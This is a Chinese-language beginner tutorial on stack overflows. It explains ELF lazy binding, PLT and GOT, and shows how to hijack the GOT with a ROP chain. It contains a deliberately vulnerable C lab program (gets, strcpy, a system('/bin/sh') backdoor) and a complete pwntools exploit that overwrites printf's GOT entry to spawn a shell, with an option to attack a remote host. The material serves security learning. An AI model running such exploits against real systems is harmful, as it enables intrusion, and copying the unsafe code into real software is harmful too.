前言
棧溢出學習(四),講述Hijack GOT的基本原理及其利用ROPchain實現Hijack GOT的方法
- 系列文章
棧溢出學習(一)之利用預留後門 & return2shellcode
棧溢出學習(二)之 jmp esp & return2libc
棧溢出學習(三)之簡單ROP
棧溢出學習(四)之Hijack GOT - 本文屬於新手實驗難度,過程比較詳細,適合新手學習
樣例代碼
本文使用的代碼如下
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* compiled with:
* gcc -O0 -fno-stack-protector -no-pie -z execstack -m32 -g -o lab0 lab0.c
優化等級 關閉canary 關閉地址隨機化 關閉NX 生成32位程序
*/
void shell()//backdoor
{
printf("You got it\n");
system("/bin/sh");
}
void hello(char* name)
{
char buf[20];
strcpy(buf,name);
puts("hello!!!");
printf("i am %s ",buf);
}
void main(int argc,char** argv)
{
setbuf(stdin,NULL);
setbuf(stdout,NULL);
char buf[100];
puts("*****************************************");
puts("PWN,hello world!");
gets(buf);
hello(buf);
}
0x06 Hijack GOT
- 當前環境:未開啓優化,關閉canary,關閉地址隨機化,32位程序
- 目標:修改某個被調用函數的地址,讓其指向另一個函數
一、原理
參考《程序員的自我修養——鏈接、裝載與庫》200頁,延遲綁定(PLT)
對於使用動態鏈接編譯的程序,將會應用PLT技術,對於全局和靜態的數據訪問都要進行復雜的GOT定位,然後間接尋址。
可以想象一下,一個程序運行過程中,可能很多函數在程序執行完時都不會被用到,比如一些錯誤處理函數或者是一些用戶很少用到的功能模塊等,如果一開始就把所有函數都鏈接好實際上是一種浪費。因此ELF採用了一種叫做延遲綁定(Lazy Binding)的做法,基本的思想就是當函數第一次被用到時才進行綁定(符號査找、重定位等),如果沒有用到則不進行綁定。所以程序開始執行時,模塊間的函數調用都沒有進行綁定,而是需要用到時才由動態鏈接器來負責綁定。
(1)PLT的基本原理
當我們第一次調用某個外部模塊的函數時,會進入到bar@plt結構,我們來看看這個結構的僞彙編代碼
bar@plt:
jmp * (bar@got)
push n
push moduleID
jump _dl_runtime_resolve
進入到bar@plt後,我們來到第一條指令,此時因爲爲了實現延遲綁定,鏈接器在初始化階段並沒有將bar()的地址填入到bar@got
中,而是將上面代碼中第二條指令push n
的地址填入到bar@got
中。這樣一來,相當於第一條指令jmp * (bar@got)
什麼也沒幹。
來到第二條指令push n
,這個數字n
是bar
這個符號引用在重定位表.rel.plt
中的下標
第三條指令push moduleID
,這個moduleID
則是bar
所在模塊的ID號
第四條指令jump _dl_runtime_resolve
,相當於call _dl_runtime_resolve
。
顯然這三條指令就是做了一個函數調用 _dl_runtime_resolve(moduleID,n)
,通過這個函數我們就可以查找到bar
的真實地址,並將真實的地址存放到bar@got
中。之後,程序再次回到第一條指令處jmp * (bar@got)
,因爲這時候bar@got
中已經存放了bar
真實地址,因此會跳轉到bar()
函數,完成我們的調用過程。
大致調用過程如下圖所示。
當我們第二次調用某個外部模塊的函數時,由於bar@got
中已經有了bar()
的真實地址,因此這個時候就可以順利完成跳轉,不需要調用_dl_runtime_resolve()
查找地址,大致調用過程如下圖所示。
在實現中的PLT結構
在實現中,PLT的結構與我們上面PLT基本原理有些許區別。
ELF將GOT拆分成兩個表叫做.got
和.got.plt
,其中
.got
保存全局變量引用的地址.got.plt
保存函數引用的地址
也就是bar@got
在.got.plt
中
PLT基本結構如下圖,.got.plt
前三項保存的分別是.dynamic
的地址,本模塊ID
,_dl_runtime_resolve
地址
實際的PLT基本結構代碼如下,由上圖可知*(GOT + 4)
存放的是moduleID
,*(GOT + 8)
存放的是_dl_runtime_resolve
地址,這樣一來,相當於每個函數@plt都節省了兩條指令
PLT0:
push *(GOT + 4)
jump *(GOT + 8)
...
bar@plt:
jmp *(bar@GOT)
push n
jump PLT0
IDA中的PLT結構
對應着上面的理論很簡單可以看懂了,不再贅述
- plt
- got.plt
(2)Hijack GOT基本原理
本文將介紹如何使用ROPchain來實現Hijcak GOT
根據上一部分的講述,我們知道每次調用外部函數,我們必定會到GOT表中查詢外部函數的真實地址,那麼如果我們能將GOT中外部函數的地址修改爲我們的目標函數,就可以實現任意函數執行的效果。
所以說,Hijack GOT需要以下兩個基本條件:
- 需要可以實現任意地址寫的函數
- 需要程序在完成GOT表修改後能夠執行被我們修改的函數
下面來分析我們的源代碼,爲了方便,就不展示後門函數部分了
顯然,程序中有gets
函數可供我們完成got表的修改。那麼我們修改什麼函數呢?其實在當前的題目環境下,不需要考慮,我們任意選一個,選printf
函數。我們可以這樣佈局棧空間
照例padding到ret之前,放入gets@plt
,即調用gets函數,參數設爲[email protected]
即gets([email protected])
,將用戶輸入的值放到這個地址,實現Hijach GOT,在這裏我們放入system()
的地址即可,在完成這個操作後,調用printf@plt
等價於調用system()
之後調用printf@plt
,即system("/bin/sh")
最終獲取系統權限
二、exp
成功截圖
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2020-03-27 22:32:52
# @Author : Pz_mstr
# @Version : python3
# @use : exp for hijack GOT
from pwn import *
import sys
def trans(s):
return "b'%s'" % ''.join('\\x%.2x' % x for x in s)
debug = True
binary = './lab0'
libc_name = '/home/Pz_mstr/libc/libc2.23x86'
bin = ELF(binary)
libc = ELF(libc_name)
if len(sys.argv) > 1:
# ip port
io = remote(sys.argv[1],int(sys.argv[2]))
else:
#io = process([binary],env={'LD_PRELOAD':libc_name})
io = process(binary)
if debug:
context.log_level = 'debug'
io.recvuntil('world!')
padding1 = b'a'*32
gets_plt = bin.plt["gets"]
printf_got = bin.got["printf"]
printf_plt = bin.plt["printf"]
pop_ret = 0xf7e29f97
system_addr = bin.sym["system"]
bin_sh_addr = 0x80486cb
hijack = p32(system_addr)
rop = padding1
rop += p32(gets_plt)
rop += p32(pop_ret)
rop += p32(printf_got)
rop += p32(printf_plt)
rop += p32(0xdeadbeef)
rop += p32(bin_sh_addr)
io.sendline(rop)
io.sendline(hijack)
io.interactive()
總結
本文介紹了未開啓保護情況下如何利用ROPchain實現Hijack GOT棧溢出攻擊